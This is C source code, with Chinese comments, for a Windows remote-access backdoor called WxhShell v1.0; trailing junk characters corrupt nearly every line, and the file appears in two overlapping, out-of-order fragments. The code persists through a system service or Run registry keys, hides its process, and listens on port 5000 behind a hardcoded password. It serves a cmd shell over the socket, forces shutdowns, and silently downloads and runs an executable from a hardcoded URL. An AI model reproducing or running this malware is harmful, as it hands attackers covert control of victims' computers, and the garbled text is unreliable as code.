    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I'\kFjc  
    if(Boot(SHUTDOWN)) 7q?9Tj3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F|F]970  
    else { $i&e[O7T;  
    closesocket(wsh); L=c!:p|7)  
    ExitThread(0); `D>S;[~S7  
    } ~Cl){8o  
    break; #OBJzf*p  
    } 6S\C}U/   
  // 获取shell >C7r:%  
  case 's': { Cnnh7`  
    CmdShell(wsh); ^:6{22C{  
    closesocket(wsh); WxW7qt  
    ExitThread(0); ~;Ov-^tp  
    break; 3Th'paMG  
  } 09dK0H3(  
  // 退出 m/v9!'cMI  
  case 'x': { k xP-,MD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uJOJ-5}yt  
    CloseIt(wsh); (H)2s Y  
    break; 4 d;|sI@  
    } VK}fsOnj0  
  // 离开 QN@CPuy  
  case 'q': { I{ HN67O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &?VQ,+[ <  
    closesocket(wsh); tDSJpW'd  
    WSACleanup(); (]b!{kS  
    exit(1); =fu :@+  
    break; w<zIAQN  
        } Ks=>K(V6  
  } h lkn%  
  } =NOH:#iQ  
i\1TOP|h  
  // 提示信息 I3 .x9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P6!jRC"52'  
} e:DkGy`-s  
  } &L#UGp $,  
.zS?9MP  
  return; 8*8Zc/{  
} pF&(7u  
pcau}5 .  
// shell模块句柄 !g Z67  
int CmdShell(SOCKET sock) LAVAFlK5  
{ ;w:M`#2  
STARTUPINFO si; Sczc5FG  
ZeroMemory(&si,sizeof(si)); UQ'\7OS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #~SP)Ukp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8dV=[+  
PROCESS_INFORMATION ProcessInfo; /<E5"Mm%  
char cmdline[]="cmd"; Ge,;8N88  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xua+cVc\y  
  return 0; !vX D  
} ^ s1Q*He  
a-l; vDs  
// 自身启动模式 *&?c(JU;<  
int StartFromService(void) HU%o6cw  
{ K/A*<<r ~  
typedef struct 8d?g]DEN)6  
{ "5;;)\o ~  
  DWORD ExitStatus; @.G[s)x  
  DWORD PebBaseAddress; ~7Ts_:E-  
  DWORD AffinityMask; f>aEkh6u9  
  DWORD BasePriority; #Xhdn\7  
  ULONG UniqueProcessId; P/xKnm~  
  ULONG InheritedFromUniqueProcessId; R16'?,  
}   PROCESS_BASIC_INFORMATION; XpmS{nb  
bA= |_Wt  
PROCNTQSIP NtQueryInformationProcess; io,M{Ib  
hJwC~HG5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1c<=A!"{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZX5xF<os8  
cs T2B[f9D  
  HANDLE             hProcess;  $rz=6h  
  PROCESS_BASIC_INFORMATION pbi; ':gUOra|I  
fQ/ 0R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hQ]H /+\  
  if(NULL == hInst ) return 0; JAAI_gSR3  
1"/He ` 4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BDVHol*g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m-H-6`]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9;Itqe{8w  
Gqcq,_?gt  
  if (!NtQueryInformationProcess) return 0; !,[C] Q1  
qtiz a~u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4!+pc-}-  
  if(!hProcess) return 0; RQ'exc2x0  
6:q"l\n>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h.-@ F  
~.A)bp  
  CloseHandle(hProcess); 5O~HWBX.  
Mr?Xp(.}G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j6>.n49_  
if(hProcess==NULL) return 0; .u:81I=w(  
r) $+   
HMODULE hMod; *NkA8PC  
char procName[255]; 'rMN=1:iu"  
unsigned long cbNeeded; M&N B/  
<@}I0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f8M$45A'  
p!sWYui  
  CloseHandle(hProcess); w=j  
 Np'2}6P  
if(strstr(procName,"services")) return 1; // 以服务启动 *c%oN |  
o&`<+4 i  
  return 0; // 注册表启动 2WtRJi?b|  
} F#5B<I  
2P/K K  
// 主模块 c6nflk.l  
int StartWxhshell(LPSTR lpCmdLine) tj Gd )  
{ k$H%.l;E  
  SOCKET wsl; '~ ,p[  
BOOL val=TRUE; ][W_[0v  
  int port=0; ]l'Y'z,}  
  struct sockaddr_in door; cgl*t+o&  
9AxCiT.  
  if(wscfg.ws_autoins) Install(); /%0<p,T  
qHNE8\9  
port=atoi(lpCmdLine); 6)vSG7Ise  
R  zf  
if(port<=0) port=wscfg.ws_port; ua5OGx  
e*bH0';q  
  WSADATA data; ]4R[<<hd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q4}PM[K?=\  
Qtbbb3m;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ku\Y'ub  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F1jglH/MF)  
  door.sin_family = AF_INET; +n<k)E@>J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]%BWIqbr  
  door.sin_port = htons(port); dxZu2&gi  
Ix(?fO#uNF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gm9hYhC8  
closesocket(wsl); ?[)}l9  
return 1; ;]gP@h/  
} oqLfesV~  
-RS7h  
  if(listen(wsl,2) == INVALID_SOCKET) { OCZ[D{i9@  
closesocket(wsl); x9x E&  
return 1; ZO4*sIw%  
} 5aln>1x>hn  
  Wxhshell(wsl); t Z`z  
  WSACleanup(); _~q?_'kx  
<Q ?a=4  
return 0; p/U+0f  
bYi`R)  
} 2RN)<\P  
]8T |f  
// 以NT服务方式启动 hQ(qbt{e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'ihhoW8  
{ Qu} W/j|3  
DWORD   status = 0; Eh =~T9  
  DWORD   specificError = 0xfffffff; ^s@8VAwi  
c)A{p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P>sFV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +T=(6dr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dn }`i  
  serviceStatus.dwWin32ExitCode     = 0; z]2]XTmWs  
  serviceStatus.dwServiceSpecificExitCode = 0; i&vaeP25)  
  serviceStatus.dwCheckPoint       = 0; v.:3"<ur}  
  serviceStatus.dwWaitHint       = 0; ~v'3"k6  
#]#sGmW/L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "TUe%o  
  if (hServiceStatusHandle==0) return; Kx=4~  
G!Um,U/g  
status = GetLastError(); 7UL qo>j  
  if (status!=NO_ERROR) -K rxMi  
{ mcn 2Wt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ~BDu$  
    serviceStatus.dwCheckPoint       = 0; nPs7c %  
    serviceStatus.dwWaitHint       = 0; /F4pb]U!*  
    serviceStatus.dwWin32ExitCode     = status; 81hbk((  
    serviceStatus.dwServiceSpecificExitCode = specificError; .\8X[%K9nc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y_HN6  
    return; 7<jZ`qdq_  
  } Pfm_@'8  
^Ve<>b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; esHQoIhd  
  serviceStatus.dwCheckPoint       = 0; 0TmR/uUT  
  serviceStatus.dwWaitHint       = 0; "Ae@lINn[y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  1~l I8  
} ^-rfvc  
sf]s",t~J  
// 处理NT服务事件,比如:启动、停止 \EKU*5\Hp>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CBDG./  
{ {5d9$v7k4  
switch(fdwControl) rQEyD  
{ 5w\fSY  
case SERVICE_CONTROL_STOP: 52b*[tZ  
  serviceStatus.dwWin32ExitCode = 0; NTS# sgP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k6Uc3O  
  serviceStatus.dwCheckPoint   = 0; u ~3%bJ]  
  serviceStatus.dwWaitHint     = 0; vk>b#%1{  
  { ~}!3G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?[& 2o|  
  } u$D*tqxG  
  return; F[4;Xq  
case SERVICE_CONTROL_PAUSE: MB%Q WU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \~ BDm  
  break; f8SL3+v  
case SERVICE_CONTROL_CONTINUE: m$9w"8R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f+|$&p%  
  break; quvanx V-L  
case SERVICE_CONTROL_INTERROGATE: Up:<=Kgci  
  break; Gcb|W&  
}; E;d7ch  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @q"m5  
} 25NTIzI@@  
t=*@yQ nB  
// 标准应用程序主函数 @x eAc0.^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iA0q_( \X  
{ mo1oyQg8  
nOQa_G]Gz  
// 获取操作系统版本 qim 'dp:  
OsIsNt=GetOsVer(); 7T"XPV|W6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rU;RGz6}  
r1<F  
  // 从命令行安装 y$3;$ R^  
  if(strpbrk(lpCmdLine,"iI")) Install(); $5v0m#[^  
dJv!Dts')C  
  // 下载执行文件 'S2bp4G  
if(wscfg.ws_downexe) { K"u NxZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ->h6j  
  WinExec(wscfg.ws_filenam,SW_HIDE); A].>.AI  
} })w*m  
7HVZZ!>~  
if(!OsIsNt) { kGL1!=>  
// 如果时win9x,隐藏进程并且设置为注册表启动 a6:x"Tv  
HideProc(); 7@6g<"I  
StartWxhshell(lpCmdLine); 'kYwz;gp  
} .i^7|o:  
else X*Z8CM_  
  if(StartFromService()) gr-fXZO  
  // 以服务方式启动 S,U Pl}KF  
  StartServiceCtrlDispatcher(DispatchTable); /B5-Fx7j3  
else GZ{]0$9I'  
  // 普通方式启动 ,+g&o^T  
  StartWxhshell(lpCmdLine); f50L,4,  
$!5\E>y#  
return 0; bW ZbG{Y.  
} VyRsPg[(  
v4RlLg dS%  
x+]!m/  
XX1Il;1G#  
=========================================== Iyd?|f"  
T~fmk f$  
%+ FG,d  
DI`%zLDcY  
,-+"^>  
j F-v% ?  
" hk/! 'd  
6{ ,HiY  
#include <stdio.h> +[J/Zw0{  
#include <string.h> bln/1iS  
#include <windows.h> : L_BG)dM  
#include <winsock2.h> p'sc0@}_O  
#include <winsvc.h> XE3'`D !  
#include <urlmon.h> v|ox!0:#  
P]i =r] i  
#pragma comment (lib, "Ws2_32.lib") l{VSb92f  
#pragma comment (lib, "urlmon.lib") l%Gw_0.?e  
kAM1TWbaVQ  
#define MAX_USER   100 // 最大客户端连接数 &TG5rUUg  
#define BUF_SOCK   200 // sock buffer G pbC M~x  
#define KEY_BUFF   255 // 输入 buffer n,~;x@=5  
^uS/r#l  
#define REBOOT     0   // 重启 CSV;+,Vv  
#define SHUTDOWN   1   // 关机 577:u<Yt  
0t#g }  
#define DEF_PORT   5000 // 监听端口 wh:1PP  
g(O;{Q_  
#define REG_LEN     16   // 注册表键长度 }X;U|]d  
#define SVC_LEN     80   // NT服务名长度 vG^#Sfgtw  
tn|,O.t  
// 从dll定义API V@d )?T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IMnP[WA!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0W`LVue  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _{jP;W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sA9 &/p/  
-ng=l;  
// wxhshell配置信息 19(Dj&x  
struct WSCFG { >x3ug]Bu  
  int ws_port;         // 监听端口 Px M!U!t  
  char ws_passstr[REG_LEN]; // 口令 wFlvi=n/  
  int ws_autoins;       // 安装标记, 1=yes 0=no e75UMWaeC  
  char ws_regname[REG_LEN]; // 注册表键名 < Fs-3(V+\  
  char ws_svcname[REG_LEN]; // 服务名 _,6f#t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7GZgu$'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I8H%=Kb?9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IMQ]1uq0$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dSIH9D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U,1AfzlF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^D@b;EyK  
ig0u^BC  
}; rZ_>`}O2  
 Voh hQ  
// default Wxhshell configuration /?"8-0d  
struct WSCFG wscfg={DEF_PORT, JO@ Bf  
    "xuhuanlingzhe", O`cu_  
    1, TO;.eN!sv  
    "Wxhshell", g^kx(p<u`  
    "Wxhshell", !C:rb   
            "WxhShell Service", :f'&z47  
    "Wrsky Windows CmdShell Service", R*1kR|*_)  
    "Please Input Your Password: ", *jzLFuWIG  
  1, "`A:(<x  
  "http://www.wrsky.com/wxhshell.exe", !c<wS Q,  
  "Wxhshell.exe" =He. fEy  
    }; e=/&(Y  
0;~yZ?6_F  
// 消息定义模块 dMl+ko  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YEYY}/YX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qq0l* )mX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b'x$2K;E  
char *msg_ws_ext="\n\rExit."; *i$ePVU  
char *msg_ws_end="\n\rQuit."; |'HLz=5\  
char *msg_ws_boot="\n\rReboot..."; AB.(CS=i  
char *msg_ws_poff="\n\rShutdown..."; .g\6g~n  
char *msg_ws_down="\n\rSave to "; m:`@?n~..  
K&A;Z>l,v5  
char *msg_ws_err="\n\rErr!"; 77gysd\(  
char *msg_ws_ok="\n\rOK!"; xPmN},i'R$  
~3WL)%  
char ExeFile[MAX_PATH]; =lr)gj  
int nUser = 0; w#G2-?aj  
HANDLE handles[MAX_USER]; @?B6aD|jE  
int OsIsNt; Q^eJ4{Ya:  
oB c@]T5>  
SERVICE_STATUS       serviceStatus; [JTto!Ih$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Aq#/2t  
4cCF \&yU  
// 函数声明 O>DNC-m)i{  
int Install(void); =~FG&rk^  
int Uninstall(void); g?/XZ5$a5  
int DownloadFile(char *sURL, SOCKET wsh); ){Mu~P  
int Boot(int flag); SKXBrD=-  
void HideProc(void); x.DzViP/  
int GetOsVer(void); j kn^Z":  
int Wxhshell(SOCKET wsl); {^q)^<#JT  
void TalkWithClient(void *cs); z>vtEV))  
int CmdShell(SOCKET sock); +6W(z3($  
int StartFromService(void); >`V}U*}*H  
int StartWxhshell(LPSTR lpCmdLine); e`U Qz$4!  
Ef7:y|?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `U`#I,Ln[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c5i%(!>  
,axDMMDI  
// 数据结构和表定义 _Sj}~ H  
SERVICE_TABLE_ENTRY DispatchTable[] = ;q#]-^  
{ fu\s`W6f&  
{wscfg.ws_svcname, NTServiceMain}, ^nDal':*  
{NULL, NULL} 6`nR5fh  
};  #ch  
}HZ{(?  
// 自我安装 5vZ#b\;#V  
int Install(void) @YL}km&Fw  
{ A|x:UQlu  
  char svExeFile[MAX_PATH]; ?F$6;N6x  
  HKEY key; BD;H   
  strcpy(svExeFile,ExeFile); /NBTvTI  
H30OUrD  
// 如果是win9x系统,修改注册表设为自启动 @Jv# fr  
if(!OsIsNt) { z%"Ai)W/{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gT1P*N;v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |'hLa  
  RegCloseKey(key); "G?9b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oh}^?p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - @bp4Z=  
  RegCloseKey(key); a5wDm  
  return 0; M'jXve(=yF  
    } Q</h-skLZ  
  } E8[XG2ye  
} r?p{L F  
else { juno.$ 6  
3o8\/-*<  
// 如果是NT以上系统,安装为系统服务 Y)p4]>lT+8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gbb \h  
if (schSCManager!=0) |XcH]7Ai"  
{ l)@:T|)c  
  SC_HANDLE schService = CreateService lmFA&s"m  
  ( F1u)i  
  schSCManager, #\FT EY!  
  wscfg.ws_svcname, Q-('5a19J  
  wscfg.ws_svcdisp, :1<~}*B@{  
  SERVICE_ALL_ACCESS, M9"Sgb`g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3VP$x@AV  
  SERVICE_AUTO_START, J|j;g!fK  
  SERVICE_ERROR_NORMAL, ?JqjYI{$  
  svExeFile, E$S`6+x`:a  
  NULL, |`]oc,1h@  
  NULL, O~'FR[J  
  NULL, {\We72!  
  NULL, _X%Dw  
  NULL yq*JdTF  
  ); fi=?n{e'  
  if (schService!=0) H-&3}   
  { zl)&U=4l  
  CloseServiceHandle(schService); k=uZ=tUft*  
  CloseServiceHandle(schSCManager); sv=^k(d3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WN0c %kz=  
  strcat(svExeFile,wscfg.ws_svcname); ;QPy:x3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nPf'ee  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,f<B}O  
  RegCloseKey(key); p{C9`wi)  
  return 0; M_&4]\PkCy  
    } VD;j[~/Z  
  } #]zhZW4  
  CloseServiceHandle(schSCManager); W8* 2;F]  
} P6HGs? *  
} "L_-}BK  
"?H+ u/8$  
return 1; JD&U}dJ  
} <IH*\q:7  
22vq=RO7Z  
// 自我卸载 a|.20w5  
int Uninstall(void) [$:@X V(  
{ kIM C~Z  
  HKEY key; 9.-47|-9C  
oc;VIK)g]c  
if(!OsIsNt) { Hja^edLj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ay[ZsQC  
  RegDeleteValue(key,wscfg.ws_regname); cHEz{'1m  
  RegCloseKey(key); >Z"9rF2SW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ewQe/Fq  
  RegDeleteValue(key,wscfg.ws_regname); k`@w(HhS  
  RegCloseKey(key); sRi%1r7  
  return 0; \^s2W:c  
  } ]wf |PU~nr  
} u:5IjOb2^  
} $3:X+X  
else { \_>?V5(  
7vNtv9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }} #be  
if (schSCManager!=0) xppkLoPK  
{ %yhI;M^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >;}]pI0T  
  if (schService!=0) K P6PQgc  
  { LaT8l?q q  
  if(DeleteService(schService)!=0) { v>:=w|.HC  
  CloseServiceHandle(schService); ?%;B`2 nDR  
  CloseServiceHandle(schSCManager); L5C2ng>  
  return 0; w .l|G,%=  
  } o'^phlX  
  CloseServiceHandle(schService); /&QQ p3  
  } x _|>n<Z  
  CloseServiceHandle(schSCManager); qOgtGN}k  
} bQV("~#  
}  2$)mC9  
< 4$YO-:E  
return 1; X#7}c5^Y  
} PvuAg(?  
*k [kV  
// 从指定url下载文件 _Z.;u0Zp8  
int DownloadFile(char *sURL, SOCKET wsh) khS/'b  
{ /x O{ .dr  
  HRESULT hr; bN!u}DnN  
char seps[]= "/"; p_gA/. v=  
char *token; PS/W h  
char *file; -;<>tq'3`  
char myURL[MAX_PATH]; d}VALjXHX!  
char myFILE[MAX_PATH]; t .L4%1OF  
DA=qeVBg  
strcpy(myURL,sURL); :@;6  
  token=strtok(myURL,seps); IO6MK&R  
  while(token!=NULL) #AvEH=:  
  { %A=|'6)k2  
    file=token; QSv^l-<  
  token=strtok(NULL,seps); lT3|D?sF  
  } *LEu=3lp%>  
bkkSIl+Q  
GetCurrentDirectory(MAX_PATH,myFILE); *bU% @O  
strcat(myFILE, "\\"); ik1XGFy?  
strcat(myFILE, file); ?4MSgu  
  send(wsh,myFILE,strlen(myFILE),0); 15JsmA*Q  
send(wsh,"...",3,0); <B=[hk!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {9Xm<}%u]]  
  if(hr==S_OK) gu!](yEgl  
return 0; [JZ  h*A  
else Eh {up  
return 1; *F|i&2  
+#9xA6,AE  
} {sl~2#,}b1  
avV mY|I  
// 系统电源模块 wn{]#n=|l  
int Boot(int flag) InP[yFV-z  
{ ~@?"' !U  
  HANDLE hToken; _~:j3=1&n  
  TOKEN_PRIVILEGES tkp; /[6:LnaE  
[~!.a\[RW  
  if(OsIsNt) { ,5=kDw2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e7lo!( >#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .@Hmg  
    tkp.PrivilegeCount = 1; a" ^#!G<+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TG4^_nRl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gh'kUZG a  
if(flag==REBOOT) { 89db5Dx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LH,]vuXh  
  return 0; E`(5UF*>  
} @|E;}:?u  
else { \u{Jf'g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x<Iy<v7-  
  return 0; gj[z ka0_  
} n$IWoIdbGN  
  } *&h6*zP?  
  else { HE@-uh  
if(flag==REBOOT) { $]nVr(OZ_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) avmcGyL  
  return 0; ]&' jP  
} O(WEgz  
else { mn(/E/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FLK"|*A  
  return 0; ?ISI[hoc  
} 4+-5,t7  
} v*smI7aH  
"IOC[#&G  
return 1; )nJzSN=>$  
} o@Scz!"g  
U.Pa7tn  
// win9x进程隐藏模块 D xe-XKNc.  
void HideProc(void) -|6V}wHg~  
{ KBd7|,j  
0&.LBv8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zoR,RBU6  
  if ( hKernel != NULL ) $xLEA\s  
  { x`Vy<h 33  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F19;RaP+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (6e!09P&  
    FreeLibrary(hKernel); 9qnuR'BDu  
  } Tavtr9L0XY  
TlM'g6SQS  
return; &"sX^6t  
} r(PJ~8)(=  
*Ro8W-+  
// 获取操作系统版本 XCW+ pUX  
int GetOsVer(void) ( P  
{ v!nm &"  
  OSVERSIONINFO winfo; N-]\oMc2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N9`y,Cos0  
  GetVersionEx(&winfo); #"=%b e3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rat=)n)"t  
  return 1; 'Na|#tPYI  
  else (qNco8QKu3  
  return 0; U p_>y>x  
} Ngn\nkf  
I/u'bDq  
// 客户端句柄模块 #Y/97_2 xa  
int Wxhshell(SOCKET wsl) 2qt=jz\s  
{ qPp1:a"   
  SOCKET wsh; Tbe_x s^  
  struct sockaddr_in client; LBW.*PHW  
  DWORD myID; z~GVvgd  
e_YW~z=6t  
  while(nUser<MAX_USER) ^nG1/}  
{ J& 1X  
  int nSize=sizeof(client); \/? ! 6~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sZ0g99eX  
  if(wsh==INVALID_SOCKET) return 1; L+v8E/W  
l*~"5f03  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~+sne7 6 U  
if(handles[nUser]==0) U;x99Go:  
  closesocket(wsh); Z)C:]}Ex  
else zyIza@V(  
  nUser++; ;m-6.AV  
  } Ej;Vr~Wi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pP?<[ql[w  
*5ka.=Qs  
  return 0; @C!JtgO%  
} }`+O$0A  
dL1~]Z y  
// 关闭 socket [d!Af4  
void CloseIt(SOCKET wsh) >VpP/Qf  
{ ^G ]KE8  
closesocket(wsh); M>`?m L  
nUser--; Hj}g1"RA  
ExitThread(0); MsN2A6|33  
} Z\ "Kd  
3MS3O.0]/  
// 客户端请求句柄 {Hktu|  
void TalkWithClient(void *cs) a7QlU=\  
{ eyI-s9#t  
O^QR;<t'  
  SOCKET wsh=(SOCKET)cs; P^'>dOI0w  
  char pwd[SVC_LEN]; \#h})`  
  char cmd[KEY_BUFF]; `D&#U'wB   
char chr[1]; Bbn832iMUY  
int i,j; #o(?g-3  
h$#4ebp  
  while (nUser < MAX_USER) { 5Ws:Ei{R  
842Mydom  
if(wscfg.ws_passstr) { E9~&f^f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m)tI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,*9#c*'S  
  //ZeroMemory(pwd,KEY_BUFF); z/ c'Z#w%  
      i=0; Y{x[N}h  
  while(i<SVC_LEN) { *~\;&G29Y  
@LwVmR |{  
  // 设置超时 %8bFQNd  
  fd_set FdRead; `Gy>tD.#V-  
  struct timeval TimeOut; XnNOj>!  
  FD_ZERO(&FdRead); Z_eqM4{  
  FD_SET(wsh,&FdRead); cOj +}Hz58  
  TimeOut.tv_sec=8; V^/h;/! ^  
  TimeOut.tv_usec=0; 0C4*F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IdN%f]=/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ":(Cpf0  
UcKWa>:Fi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rm7*l<v6  
  pwd=chr[0]; 'tq\<y  
  if(chr[0]==0xd || chr[0]==0xa) { tA;ZW2$#  
  pwd=0; bKZAJLnd  
  break; g%<{G/Tz  
  } <uWJ>sg^ 6  
  i++; Gc3PN  
    } W2X+N acD  
}[hDg6i  
  // 如果是非法用户,关闭 socket Aw_R $  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AR[M8RA  
} Yc|-sEK/  
A61-AwvF8-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {4V:[*3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &L[8Mju6  
B8BY3~}]  
while(1) { ]%ZjD  
dxae2 t V  
  ZeroMemory(cmd,KEY_BUFF); $yR{ZFo  
@eG#%6">  
      // 自动支持客户端 telnet标准   X~<>K/}u5  
  j=0; %Pt[3>  
  while(j<KEY_BUFF) { unbcz{&Hb[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ay[9k=q]  
  cmd[j]=chr[0]; Ri%Of:zZ  
  if(chr[0]==0xa || chr[0]==0xd) { "~ i#9L/H  
  cmd[j]=0; &`\kb2uep  
  break; l#J>It\  
  } n=#[Mi $Y  
  j++; <iY 9cV|}3  
    } S4uR \|  
#q^>qX y  
  // 下载文件 :jN;l  
  if(strstr(cmd,"http://")) { G41$oalQ1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nu1w:  
  if(DownloadFile(cmd,wsh))  hE?GO,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./5MsHfbxt  
  else sB*h`vs0T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JqH.QnKcv  
  } 7u&H*e7  
  else { U%S NROj  
